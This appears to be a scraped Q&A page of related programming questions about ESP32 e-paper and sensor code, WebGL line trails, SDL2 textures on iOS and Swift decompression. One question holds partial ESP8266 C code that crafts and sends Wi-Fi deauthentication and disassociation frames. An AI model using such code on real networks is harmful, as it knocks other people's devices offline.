ESP32 Waveshare4.2inch epaper , display image on epaper using image url and httpclient get request - iot

I am new to the esp32, and wanted to create the flow where
I need to fetch the image using HTTPCLIENT.GET(imageurl) and display the image on
epaper display
I am able to get the response ok(200)
but got stuck with how to convert the string response to the unsigned char array
I have a piece of code where i can send the unsigned char array and display on epaper
void drawBitmaps400x300()
{
if ((display.epd2.WIDTH == 400) && (display.epd2.HEIGHT == 300) && !display.epd2.hasColor)
{
display.firstPage();
do
{
display.fillScreen(GxEPD_WHITE);
display.drawInvertedBitmap(0, 0, Bitmap400x300, 400, 300, GxEPD_BLACK)
}
while (display.nextPage());
}
Bitmap400x300 is nothing but the unsigned charac array
example :
unsigned char Bitmap400x300[INCOMING_DATA_BUFFER_SIZE] =
{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, ....... }

Related

How to read multiple sensor and send the data to ThingSpeak?

I have a problem with my code. When I test it without ThingSpeak library, my sensor values (especially for analogRead on fireLevel dan gasLevel) are there (not 0). But when I use ThingSpeak library for send the data, the fireLevel dan gasLevel show 0 for the values. Any solutions for my code, thanks
I'm still learning
The sensor that I used:
DHT11
KY-026
MQ-135
and for the NodeMCU I used ESP32 type
#include <WiFi.h>
#include "ThingSpeak.h"
#include <SPI.h>
#include <Wire.h>
#include <DHT.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
const char* ssid = "SECRET_SSID";
const char* password = "SECRET_PASSWORD";
WiFiClient client;
unsigned long channelNum = X;
const char* APIKey = "SECRET_KEY";
#define AIRQ_SENSOR 2 // ESP32 pin GIP2 connected to mq135 sensor
#define DHT_SENSOR_PIN 13 // ESP32 pin GIOP13 connected to DHT11 sensor
#define DHT_SENSOR_TYPE DHT11
#define FIRE_SENSOR_ANALOG 14 // ESP32 pin GIP14 connected to Fire sensor
#define SCREEN_WIDTH 128 // OLED display width, in pixels
#define SCREEN_HEIGHT 64 // OLED display height, in pixels
#define OLED_RESET 4 // Reset pin # (or -1 if sharing Arduino reset pin)
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
DHT dht_sensor(DHT_SENSOR_PIN, DHT_SENSOR_TYPE);
float humi, tempC, gasLevel, fireLevel;
String quality = "";
const uint8_t bitmap19[] = {0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x3f, 0x40, 0x00, 0x7f, 0x60, 0x00, 0xff, 0xe0, 0x00, 0xff, 0xf0, 0x06, 0xff, 0xf0, 0x07, 0xff, 0xf8, 0x07, 0xff, 0xf8, 0x0f, 0xf7, 0xf8, 0x0f, 0xe7, 0xf8, 0x1f, 0xe3, 0xfc, 0x1f, 0xc1, 0xfc, 0x3f, 0x80, 0xfc, 0x3f, 0x80, 0xf8, 0x1f, 0x00, 0xf8, 0x1f, 0x00, 0xf0, 0x0f, 0x00, 0xe0, 0x07, 0x80, 0xc0, 0x01, 0x81, 0x00};
void setup() {
Serial.begin(9600);
dht_sensor.begin(); // initialize the DHT sensor
if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3c)) { // Address 0x3D for 128x64
Serial.println(F("SSD1306 allocation failed"));
}
display.clearDisplay();
display.setTextColor(WHITE);
display.setTextSize(2);
display.setCursor(50, 0);
display.println("Air");
display.setTextSize(1);
display.setCursor(23, 20);
display.println("Quality Monitor");
display.display();
delay(1200);
display.clearDisplay();
WiFi.mode(WIFI_STA);
ThingSpeak.begin(client);
}
void fireSensor() {
fireLevel = analogRead(FIRE_SENSOR_ANALOG);
Serial.println("fire level: " + String(fireLevel));
if(fireLevel < 2000) {
display.drawBitmap(90, 35, bitmap19, 24, 24, 1);
}
else {
display.clearDisplay();
}
}
void temphSensor() {
// read humidity
humi = dht_sensor.readHumidity();
// read temperature in Celsius
tempC = dht_sensor.readTemperature();
// check whether the reading is successful or not
if ( isnan(tempC) || isnan(humi)) {
Serial.println("Failed to read from DHT sensor!");
} else {
display.setTextColor(WHITE);
display.setTextSize(1);
display.setCursor(0, 35);
display.println("Tmp:");
display.setCursor(30, 35);
display.println(tempC);
display.setCursor(64, 35);
display.println("C");
display.setCursor(0, 50);
display.println("RH:");
display.setCursor(30, 50);
display.println(humi);
display.setCursor(64, 50);
display.println("%");
}
}
void airqSensor() {
gasLevel = analogRead(AIRQ_SENSOR);
Serial.println("gas Level: " + String(gasLevel));
if(gasLevel < 500) {
quality = "Good";
}
else if(gasLevel < 750) {
// avg 750
quality = "Moderate";
}
else if(gasLevel < 1500) {
// avg 1500
quality = "Unhealty";
}
else {
// 2000 >
quality = "Hazardous";
}
display.setTextColor(WHITE);
display.setTextSize(1);
display.setCursor(30, 5);
display.println("Air Quality");
display.setCursor(35, 20);
display.println(quality);
}
void writeThingSpeak() {
ThingSpeak.setField(1, tempC);
ThingSpeak.setField(2, humi);
ThingSpeak.setField(3, gasLevel);
ThingSpeak.setField(4, fireLevel);
int x = ThingSpeak.writeFields(channelNum, APIKey);
if(x == 200) {
Serial.println("Channel update successful.");
}
else {
Serial.println("Problem updating channel. HTTP error code " + String(x));
}
delay(15000);
}
void loop() {
display.clearDisplay();
if(WiFi.status() != WL_CONNECTED){
Serial.print("Attempting to connect to SSID: ");
Serial.println(ssid);
while(WiFi.status() != WL_CONNECTED){
WiFi.begin(ssid, password); // Connect to WPA/WPA2 network. Change this line if using open or WEP network
Serial.print(".");
delay(5000);
}
Serial.println("\nConnected.");
}
fireSensor();
airqSensor();
temphSensor();
display.display();
writeThingSpeak();
}

After further search I found a solution about my question. The problem is I used ADC2 for my sensor (ex: MQ-135 and KY-026) which is used to read an analog. In this case I put my sensor on GPIO2 and GPIO4, which is among the ADC2.
List of ADC2s are: GPIO pins 0, 2, 4, 12, 13, 14, 15, 25, 26 and 27.
So, instead use ADC2 that originally if you used a WiFi connection on your ESP32, just use ADC1.
List of ADC1s are: GPIO pins 32, 33, 34, 35, 36, 37, 38 and 39.
When I changed my AO pins for both of my sensors (MQ-135 and KY-026) to GPIO34 and 35 it worked!
reference: esp32 pinout reference

Sending Deauthentication Packets by esp8266

I am trying to implement a simple WiFi deauther using my nodemcu but i can't see any disconnection b/w AP(my android's hotspot) & Station ( my second android device)
But when i am using a third party tool like Wi-PWN ( available on GitHub ) , is working.
So its clear that i am doing something wrong in Deauthentication process
Here is some parts of code
// Channel to perform deauth
uint8_t channel = 0;
// Packet buffer
uint8_t packet_buffer[128];
// DeAuth template
uint8_t template_da[26] = {
0xc0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0x00, 0x00, 0x01,
0x00};
uint16_t create_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint8_t type)
{
int i = 0;
memcpy(buf, template_da, 26);
// Destination
memcpy(buf + 4, client, ETH_MAC_LEN);
// Sender
memcpy(buf + 10, ap, ETH_MAC_LEN);
buf[0] = type;
return 26;
}
/* Sends deauth packets. */
void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
{
uint8_t i = 0;
uint16_t sz = 0;
sz = create_packet(packet_buffer, c, ap, 0xc0); // 0xc0 for deauth
wifi_send_pkt_freedom(packet_buffer, sz, 0);
sz = create_packet(packet_buffer, c, ap, 0xa0); // xa0 for disassociation
wifi_send_pkt_freedom(packet_buffer, sz, 0);
delay(1);
}
}
Edit : I know the mac address of both AP & Station so there could be no mistake in filling mac while creating packet.

How to Achieve Moving Line with Trail Effects

What's the idea of drawing such lines in the following demo? Drawing a single line with trailing effects might be simple. But those lines are also turning their directions.
http://uber.github.io/deck.gl/#/examples/custom-layers/trip-routes

you can pass in UV coordinates for lines or generate one then use that to color the line. Pass in time to scroll something like
const gl = document.querySelector("canvas").getContext("webgl");
const vs = `
attribute vec4 position;
attribute float u;
varying float v_u;
void main() {
gl_Position = position;
v_u = u;
}
`;
const fs = `
precision mediump float;
varying float v_u;
uniform float time;
void main() {
float green = fract(v_u + time);
gl_FragColor = vec4(0, green, 0, 1);
}
`;
// compile shaders, link program, look up uinforms
const programInfo = twgl.createProgramInfo(gl, [vs, fs]);
// make some lines (calls gl.createBuffer, gl.bindBuffer, gl.bufferData
// for each array)
const bufferInfo = twgl.createBufferInfoFromArrays(gl, {
position: {
numComponents: 2,
data: [
-.5, -.5,
.7, -.3,
.7, -.3,
-.1, .8,
-.1, .8,
-.8, .2,
],
},
u: {
numComponents: 1,
data: [
0, 1, // these numbers define how many times
0, 2, // the pattern repeats for each line segment
0, 3,
],
},
});
function render(time) {
time *= 0.001; // seconds
gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
gl.clearColor(0, 0, 0, 1);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.useProgram(programInfo.program);
// calls gl.bindBuffer, gl.enableVertexAttribArray, gl.vertexAttribPointer
twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
// calls gl.uniformXXX
twgl.setUniforms(programInfo, { time: -time });
// calls gl.drawArrays or gl.drawElements
twgl.drawBufferInfo(gl, bufferInfo, gl.LINES);
requestAnimationFrame(render);
}
requestAnimationFrame(render);
body { background: #444; }
<script src="https://twgljs.org/dist/3.x/twgl.min.js"></script>
<canvas></canvas>
Of course you can also use a texture instead of code for the colors
const gl = document.querySelector("canvas").getContext("webgl");
const vs = `
attribute vec4 position;
attribute float u;
varying float v_u;
void main() {
gl_Position = position;
v_u = u;
}
`;
const fs = `
precision mediump float;
varying float v_u;
uniform float time;
uniform sampler2D tex;
void main() {
gl_FragColor = texture2D(tex, vec2(fract(v_u + time), 0.5));;
}
`;
// compile shaders, link program, look up uinforms
const programInfo = twgl.createProgramInfo(gl, [vs, fs]);
// make some lines (calls gl.createBuffer, gl.bindBuffer, gl.bufferData
// for each array)
const bufferInfo = twgl.createBufferInfoFromArrays(gl, {
position: {
numComponents: 2,
data: [
-.5, -.5,
.7, -.3,
.7, -.3,
-.1, .8,
-.1, .8,
-.8, .2,
],
},
u: {
numComponents: 1,
data: [
0, 1, // these numbers define how many times
0, 2, // the pattern repeats for each line segment
0, 3,
],
},
});
// make a simple 16x1 texture
// calls gl.creatTexture, gl.bindTexture, gl.texImage2D, gl.texPamameteri
const texture = twgl.createTexture(gl, {
height: 1,
src: [
0xFF, 0x00, 0x00, 0xFF,
0xFF, 0x44, 0x00, 0xFF,
0xFF, 0x88, 0x00, 0xFF,
0xCC, 0xFF, 0x00, 0xFF,
0x88, 0xFF, 0x00, 0xFF,
0x44, 0xFF, 0x00, 0xFF,
0xCC, 0xFF, 0x00, 0xFF,
0xCC, 0xFF, 0x00, 0xFF,
0xCC, 0xFF, 0x44, 0xFF,
0xCC, 0xFF, 0x88, 0xFF,
0xCC, 0xFF, 0xCC, 0xFF,
0xCC, 0xCC, 0xFF, 0xFF,
0xCC, 0x88, 0xFF, 0xFF,
0xCC, 0x44, 0xFF, 0xFF,
0xCC, 0x00, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF,
],
});
function render(time) {
time *= 0.001; // seconds
gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
gl.clearColor(0, 0, 0, 1);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.useProgram(programInfo.program);
// calls gl.bindBuffer, gl.enableVertexAttribArray, gl.vertexAttribPointer
twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
// calls gl.activeTexture, gl.bindTexture, gl.uniformXXX
twgl.setUniforms(programInfo, {
time: -time,
tex: texture,
});
// calls gl.drawArrays or gl.drawElements
twgl.drawBufferInfo(gl, bufferInfo, gl.LINES);
requestAnimationFrame(render);
}
requestAnimationFrame(render);
body { background: #444; }
<script src="https://twgljs.org/dist/3.x/twgl.min.js"></script>
<canvas></canvas>

iOS SDL2 OpenGL ES Cannot Draw Texture

I have been trying to follow the below example but using iOS/Xcode instead of VS2015 (which shows an example of an Android cross-platform project).
Youtube Link
I cannot get the code to display any of my texture at all. No matter what I try I only get a small white rectangle. What am I doing wrong?
This should be OpenGL ES1.x so no shaders should be required.
#import <Foundation/Foundation.h>
#include "SDL.h"
#include <time.h>
#include "SDL_opengles.h"
#define FALSE 0
#define TRUE 1
#ifndef BOOL
#define BOOL int
#endif
#define min(a,b) ((a) < (b) ? (a) : (b))
#define max(a,b) ((a) > (b) ? (a) : (b))
#define SCREEN_WIDTH 320
#define SCREEN_HEIGHT 480
GLuint g_Texture = 0;
BOOL g_Running = TRUE;
SDL_Window *g_SDLWindow = NULL;
SDL_Surface *g_SDLSurface = NULL;
SDL_Renderer *g_SDLRenderer = NULL;
SDL_Texture *g_SDLTexture = NULL;
int g_ScreenHeight = SCREEN_HEIGHT;
int g_ScreenWidth = SCREEN_WIDTH;
unsigned char treeData[420] = {
0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x10, 0x00, 0x20, 0x08, 0x82, 0x00, 0x00, 0x00, 0x00, 0x01,
0x16, 0x1D, 0x38, 0xFF, 0x10, 0x50, 0x6C, 0xFF, 0x83, 0x16, 0x1D, 0x38,
0xFF, 0x00, 0x10, 0x50, 0x6C, 0xFF, 0x82, 0x16, 0x1D, 0x38, 0xFF, 0x82,
0x00, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x00, 0x81, 0x16, 0x1D,
0x38, 0xFF, 0x00, 0x10, 0x50, 0x6C, 0xFF, 0x84, 0x16, 0x1D, 0x38, 0xFF,
0x83, 0x00, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x00, 0x82, 0x16,
0x1D, 0x38, 0xFF, 0x00, 0x10, 0x50, 0x6C, 0xFF, 0x85, 0x00, 0x00, 0x00,
0x00, 0x85, 0x00, 0x00, 0x00, 0x00, 0x01, 0x16, 0x1D, 0x38, 0xFF, 0x10,
0x50, 0x6C, 0xFF, 0x81, 0x16, 0x1D, 0x38, 0xFF, 0x85, 0x00, 0x00, 0x00,
0x00, 0x85, 0x00, 0x00, 0x00, 0x00, 0x83, 0x16, 0x1D, 0x38, 0xFF, 0x85,
0x00, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x00, 0x03, 0x16, 0x1D,
0x38, 0xFF, 0x10, 0x50, 0x6C, 0xFF, 0x16, 0x1D, 0x38, 0xFF, 0x10, 0x50,
0x6C, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x00,
0x89, 0x24, 0xBA, 0x24, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00,
0x00, 0x00, 0x00, 0x87, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x1A, 0x87, 0x2F,
0xFF, 0x82, 0x24, 0xBA, 0x24, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x82, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x1A, 0x87,
0x2F, 0xFF, 0x81, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x1A, 0x87, 0x2F, 0xFF,
0x86, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0x24,
0xBA, 0x24, 0xFF, 0x81, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x1A, 0x87, 0x2F,
0xFF, 0x86, 0x24, 0xBA, 0x24, 0xFF, 0x05, 0x1A, 0x87, 0x2F, 0xFF, 0x24,
0xBA, 0x24, 0xFF, 0x1A, 0x87, 0x2F, 0xFF, 0x24, 0xBA, 0x24, 0xFF, 0x1A,
0x87, 0x2F, 0xFF, 0x24, 0xBA, 0x24, 0xFF, 0x86, 0x24, 0xBA, 0x24, 0xFF,
0x00, 0x1A, 0x87, 0x2F, 0xFF, 0x87, 0x24, 0xBA, 0x24, 0xFF, 0x81, 0x24,
0xBA, 0x24, 0xFF, 0x02, 0x1A, 0x87, 0x2F, 0xFF, 0x24, 0xBA, 0x24, 0xFF,
0x1A, 0x87, 0x2F, 0xFF, 0x8A, 0x24, 0xBA, 0x24, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x00, 0x88, 0x24, 0xBA, 0x24, 0xFF, 0x02, 0x1A, 0x87, 0x2F, 0xFF,
0x24, 0xBA, 0x24, 0xFF, 0x1A, 0x87, 0x2F, 0xFF, 0x81, 0x24, 0xBA, 0x24,
0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x84,
0x24, 0xBA, 0x24, 0xFF, 0x00, 0x1A, 0x87, 0x2F, 0xFF, 0x85, 0x24, 0xBA,
0x24, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x00,
0x87, 0x24, 0xBA, 0x24, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x52, 0x55, 0x45, 0x56, 0x49,
0x53, 0x49, 0x4F, 0x4E, 0x2D, 0x58, 0x46, 0x49, 0x4C, 0x45, 0x2E, 0x00
};
void LoadTree( void )
{
glGenTextures( 1, &g_Texture );
glBindTexture( GL_TEXTURE_2D, g_Texture );
glTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, treeData+18 );
}
//--------------------------------------------------------------------------------------------
// InitSDL()
//--------------------------------------------------------------------------------------------
void InitSDL( void )
{
if( SDL_Init( SDL_INIT_VIDEO ) < 0 )
exit( -1 );
atexit( SDL_Quit );
SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 ); // *new*
SDL_DisplayMode currentDisplay;
SDL_GetCurrentDisplayMode( 0, &currentDisplay );
g_ScreenWidth = max( currentDisplay.w, currentDisplay.h );
g_ScreenHeight = min( currentDisplay.w, currentDisplay.h );
SDL_DisplayMode displayMode;
SDL_GetDesktopDisplayMode( 0, &displayMode );
SDL_GL_SetAttribute( SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_ES );
// PDS: GLES 2 will require shaders etc..
//SDL_GL_SetAttribute( SDL_GL_CONTEXT_MAJOR_VERSION, 2 );
SDL_GL_SetAttribute( SDL_GL_CONTEXT_MAJOR_VERSION, 1 );
SDL_GL_SetAttribute( SDL_GL_CONTEXT_MINOR_VERSION, 1 );
g_SDLWindow = SDL_CreateWindow( "Test",
SDL_WINDOWPOS_UNDEFINED,
SDL_WINDOWPOS_UNDEFINED,
g_ScreenWidth,
g_ScreenHeight,
/* SDL_WINDOW_FULLSCFREEN | */ SDL_WINDOW_OPENGL );
if( g_SDLWindow == NULL )
exit( -1 );
SDL_GL_CreateContext( g_SDLWindow );
glViewport( 0, 0, g_ScreenWidth, g_ScreenHeight ); // Reset The Current Viewport
glMatrixMode( GL_PROJECTION ); // Select The Projection Matrix
glLoadIdentity(); // Reset The Projection Matrix
glRotatef( -90, 0, 0, 1 );
glOrthof( 0.0f, g_ScreenWidth, g_ScreenHeight, 0.0f, -1.0f, 1.0f );
glMatrixMode( GL_MODELVIEW ); // Select The Modelview Matrix
glLoadIdentity(); // Reset The Modelview Matrix
glTranslatef(0.5, 0.5, 0);
glClearColor( 0.9f, 0.9f, 0.9f, 1.0f );
glClear( GL_COLOR_BUFFER_BIT );
LoadTree();
glShadeModel(GL_SMOOTH);
}
float sq[] =
{
-7, 7, 0,
7, 7, 0,
-7, -7, 0,
7, -7, 0
};
float tri[] =
{
sq[ 0 ], sq[ 1 ], sq[ 2 ],
sq[ 3 ], sq[ 4 ], sq[ 5 ],
sq[ 6 ], sq[ 7 ], sq[ 8 ],
sq[ 6 ], sq[ 7 ], sq[ 8 ],
sq[ 3 ], sq[ 4 ], sq[ 5 ],
sq[ 9 ], sq[ 10], sq[ 11]
};
float texCoords[]=
{
0, 1,
1, 1,
0, 0,
0, 0,
1, 1,
1, 0
};
//--------------------------------------------------------------------------------------------
// Draw()
//--------------------------------------------------------------------------------------------
void Draw( int x, int y )
{
glEnable( GL_TEXTURE_2D );
glMatrixMode( GL_MODELVIEW );
glLoadIdentity();
glBindTexture( GL_TEXTURE_2D, g_Texture );
glPushMatrix();
glDisable( GL_BLEND );
glDisable( GL_CULL_FACE );
glEnable( GL_TEXTURE_2D );
GLfloat tX = (GLfloat) 10.0f;
GLfloat tY = (GLfloat) 10.0f;
GLfloat xOffset = 0;
GLfloat yOffset = 0;
// PDS: Offset the drawing by half character width since all placement will be done from quad centre..
xOffset = tX;
yOffset = tY;
glTranslatef( xOffset + x, yOffset + y, 0.0f);
glEnableClientState( GL_VERTEX_ARRAY );
glEnableClientState( GL_TEXTURE_COORD_ARRAY );
glFrontFace( GL_CW );
glVertexPointer( 3, GL_FLOAT, 0, tri );
glTexCoordPointer( 2, GL_FLOAT, 0, texCoords );
glDrawArrays( GL_TRIANGLES, 0, 6 );
glDisableClientState( GL_TEXTURE_COORD_ARRAY );
glDisableClientState( GL_VERTEX_ARRAY );
glDisableClientState( GL_COLOR_ARRAY );
glPopMatrix();
glBindTexture( GL_TEXTURE_2D, 0 );
glEnable( GL_BLEND );
}
//--------------------------------------------------------------------------------------------
// main()
//--------------------------------------------------------------------------------------------
int main( int argc, char* argv[] )
{
InitSDL();
SDL_Event event;
while( g_Running )
{
while( SDL_PollEvent( &event ) )
{
switch( event.type )
{
case SDL_QUIT:
g_Running = false;
break;
}
}
Draw( 100, 100 );
SDL_GL_SwapWindow( g_SDLWindow );
}
SDL_Quit();
return EXIT_SUCCESS;
}

I figured this out.. The ordering of setting the Projection and ModelView uniforms was wrong - it had to be done after the shader program was in use.. and I had some crazy vertice values for the triangles making up the destination rectangle.
The raw TGA loading didn't work very well either so I went back to my original code for loading TGA files.
The below link contains a working example.
Working Example

Using the iOS9 Compression Framework in Swift2

I have some NSData that is stored with the DEFLATE compression protocol?
DEFLATE Compression Method DEFLATE is a lossless compressed data
format that compresses data using a combination of the LZ77 algorithm
and Huffman coding, with efficiency comparable to the best currently
available general-purpose compression methods. The data can be
produced or consumed, even for an arbitrarily long sequentially
presented input data stream, using only a priority-bounded amount of
intermediate storage. The format can be implemented readily in a
manner not covered by patents. Specifications for DEFLATE can be found
in RFC 1951 - DEFLATE Compressed Data Format Specification, May 1996.
If I understand it correctly in IOS9 there is a new Compression Framework which "might" handle this case. The documentation lists the following supported algorithms: LZFSE, LZ4, LZMA, and ZLIB level 5.
I'm not sure but I believe ZLIB supports the LZ77 Deflate algorithm. The question I have is how do I actually use this framework:
So I believe the function i want to use is compression_decode_buffer
#available(iOS 9.0, *)
public func compression_decode_buffer(
dst_buffer: UnsafeMutablePointer<UInt8>,
_ dst_size: Int,
_ src_buffer: UnsafePointer<UInt8>,
_ src_size: Int,
_ scratch_buffer: UnsafeMutablePointer<Void>,
_ algorithm: compression_algorithm) -> Int
but I'm not sure exactly how to utilize this algorithm.
So from reading the header it looks like i need an input size dst_size: bytes.size and output size a inputBuffer an &outputbuffer and a compression algorithm
dst_buffer: UnsafeMutablePointer,
_ dst_size: Int,
_ src_buffer: UnsafePointer,
_ src_size: Int,
_ scratch_buffer: UnsafeMutablePointer,
_ algorithm: compression_algorithm) -> Int
Assuming i have some sample data (see below)
let bytes : [UInt8] = [ .... ] // see below
compression_decode_buffer(
<DST_BUFFER>,
<DST_SIZE>,
bytes,
bytes.count,
<SCRATCH_BUFFER>,
COMPRESSION_ZLIB
)
Where i'm at a loss is as to what goes into <DST_BUFFER>, <DST_SIZE>, <SCRATCH_BUFFER>.
Any suggestions?
Sample Data
let bytes : [UInt8] = [0x7e, 0x07, 0x07, 0xff, 0xff, 0x41, /* <1~....A */
0x10, 0x33, 0x51, 0x3e, 0x94, 0xb2, 0xa0, 0x27, /* .3Q>...' */
0x80, 0x00, 0x21, 0x65, 0x26, 0xd8, 0x22, 0x10, /* ..!e&.". */
0x2c, 0xd5, 0x99, 0x00, 0x00, 0x44, 0xbb, 0xd4, /* ,....D.. */
0x54, 0x38, 0xf5, 0x01, 0x36, 0xd1, 0x20, 0x2c, /* T8..6. , */
0xd5, 0x99, 0xbb, 0x1c, 0xaf, 0xc3, 0x2c, 0x60, /* ......,` */
0xcb, 0x0c, 0x79, 0xcb, 0x76, 0xa0, 0x84, 0xd5, /* ..y.v... */
0x99, 0x83, 0x1c, 0xaf, 0xc3, 0x2c, 0x60, 0x35, /* .....,`5 */
0x66, 0x60, 0x49, 0x76, 0x60, 0xc7, 0x5b, 0xf3, /* f`Iv`.[. */
0xce, 0x05, 0x08, 0x3a, 0x04, 0x13, 0x4a, 0x00, /* ...:..J. */
0x92, 0x05, 0x08, 0x17, 0x14, 0x68, 0x31, 0xc3, /* .....h1. */
0x1c, 0xb2, 0xc3, 0x1e, 0x72, 0xdd, 0xe0, 0x00, /* ....r... */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* ........ */
0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, /* ....'... */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, /* .......0 */
0x8e, 0x7e]

Generally compression_decode_buffer() is used like this:
import Compression
let bytes : [UInt8] = [ .... ] // Compressed data
var dst = [UInt8](count: 1000, repeatedValue: 0) // destination buffer
let size = compression_decode_buffer(&dst, dst.count, bytes, bytes.count, nil, COMPRESSION_ZLIB)
The destination buffer must be large enough for the decompressed data.
